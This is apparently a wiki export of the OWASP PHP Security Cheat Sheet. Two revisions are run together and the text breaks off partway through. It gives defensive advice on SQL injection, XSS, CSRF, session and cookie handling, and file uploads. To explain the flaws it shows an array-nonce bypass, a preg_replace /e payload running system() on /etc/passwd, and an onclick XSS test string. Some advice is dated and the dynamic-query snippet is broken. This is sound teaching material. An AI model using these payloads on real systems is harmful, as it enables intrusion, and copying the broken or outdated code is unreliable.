There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-09-25T07:53:29Z

Luke Plant: /* Exceptions and error handling */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
